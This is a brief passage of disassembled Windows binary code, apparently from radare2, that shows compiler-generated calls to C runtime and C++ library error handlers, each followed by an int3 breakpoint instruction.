call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3